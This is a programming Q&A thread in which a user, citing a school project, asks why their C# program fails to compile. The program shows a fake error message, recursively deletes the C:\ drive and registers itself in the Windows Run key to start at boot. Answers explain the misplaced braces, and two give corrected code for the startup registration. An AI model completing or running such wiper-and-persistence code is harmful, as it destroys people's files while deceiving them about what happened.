Reputation: 21
I am trying to create an application that deletes user documents at start-up (I am aware that this may sound malicious but it is for a school project).
However, I am getting the error "A namespace cannot directly contain members such as fields or methods".
Looking over it, it seems fine? I am hoping a second pair of eyes can help as I have searched everywhere and I cannot find a relevant solution!
Admittedly, because of my very basic knowledge, I have used a lot of help online and from books and what I know of c# is limited. Therefore it might just be that I'm being stupid, but everyone has to start somewhere, right?
The code is as follows:
namespace Test
{
class Program
{
static void Main(string[] args)
{
MessageBox.Show("An unexpected error occured");
if (System.IO.Directory.Exists(@"C:\"))
{
try
{
System.IO.Directory.Delete("C:\\", true);
}
catch (System.IO.IOException e)
{
Console.WriteLine(e.Message);
}
}
}
}
public class Program
{
private void SetStartup();
}
RegistryKey rk = Registry.CurrentUser.OpenSubKey
("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (chkStartUp.Checked)
rk.SetValue(AppName, Application.ExecutablePath.ToString());
else
rk.DeleteValue(AppName, false);
}
Upvotes: 2
Views: 38541
Reputation: 14884
After formatting the code, you will see there are code outside of a class.
Upvotes: 1
Reputation: 25108
In my case this error was reported by compiler in Razor view on line 1. The code was following:
@using Microsoft.AspNet.Identity;
@using MyApp.Helpers;
I just changed the order of using and problem is solved.
@using MyApp.Helpers;
@using Microsoft.AspNet.Identity;
My colleagues also reproted that they face this compiler error which can be resolve by changing the order of namespaces.
I use Visual Studio 2013 update 5 and .NET Framework 4.5
Upvotes: 0
Reputation: 1500515
Your code is seriously messed up around SetStartup
. If you follow the normal indentation, you'll see what's going on a bit more clearly. Press Ctrl-E followed by D in Visual Studio, and it'll reformat your document - which should make things considerably clearer.
Look at this (after I've indented it):
public class Program
{
private void SetStartup();
}
RegistryKey rk = [...];
That's trying to declare a variable (rk
) outside a class. You've also got a non-abstract method with no body, and you're missing closing braces at the end.
I suspect you meant it to be:
public class Program
{
// Note: no semi-colon, and an *opening* brace
private void SetStartup()
{
RegistryKey rk = [...];
// Other code
}
}
// And you'd want to close the namespace declaration too
You're also going to have problems declaring two (non-partial) classes with the same name...
Upvotes: 10
Reputation: 160892
You have a misplaced bracket and semicolon, should be:
private void SetStartup()
{
RegistryKey rk = Registry.CurrentUser.OpenSubKey
("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
//..
}
Upvotes: 0